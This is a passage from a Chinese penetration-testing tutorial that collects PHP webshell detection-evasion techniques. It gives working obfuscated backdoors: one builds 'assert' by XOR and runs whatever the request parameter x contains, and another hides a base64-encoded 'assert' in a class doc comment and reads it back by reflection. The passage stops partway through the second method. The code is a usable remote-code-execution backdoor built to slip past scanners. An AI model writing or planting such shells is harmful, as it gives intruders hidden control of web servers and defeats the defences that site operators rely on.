渗透测试 | php的webshell绕过方法总结

目录

1.php的异或运算

2.通过获取注释去绕过

3.利用字符的运算符

4.通过end函数代替[]

5.通过常量去绕过

6.字符串拼接+双美元符

7.通过函数定义绕过

8.通过类定义，然后传参分割

9.多传参方式绕过

10.通过get_defined_functions绕过

---

本文由掌控安全学院 - 手电筒 投稿

1.php的异或运算

1. $a="~+d()"^"!{+{}"

这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符，按二进制位进行异或运算
这里的运算会把符号转化为ascii码，再转化为二进制，再转化为十进制进行运算，再把结果转化为ascii码
通过这个转换的方式来绕过检测

1. <?php

2. $a= ("!"^"@").'ssert';

3. $a($_REQUEST[x]);

4. ?>

测试可以成功连接

2.通过获取注释去绕过

1. <?php

3. /**

4. * YXNzZXJ0YmZnZmc=

5. */

6. class Example

7. {

8. public function fn()

9. {

10. }

11. }

12. 通过一个空的类去获取，

13. $reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释

15. $zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示

16. $zhushi = base64_decode($zhushi);

17. $zhushi = substr($zhushi, 0, 6);

19. echo $zhushi;

21. foreach (array('_POST','_GET') as $_request) {

22. foreach ($$_request as $_key=>$_value) {

23. $$_key= $_value;

24. }

25. }

26. /*设置一个数组，参数为_POST,_GET,然后把该数组用$_request去表示，再设置一个遍历，把$_req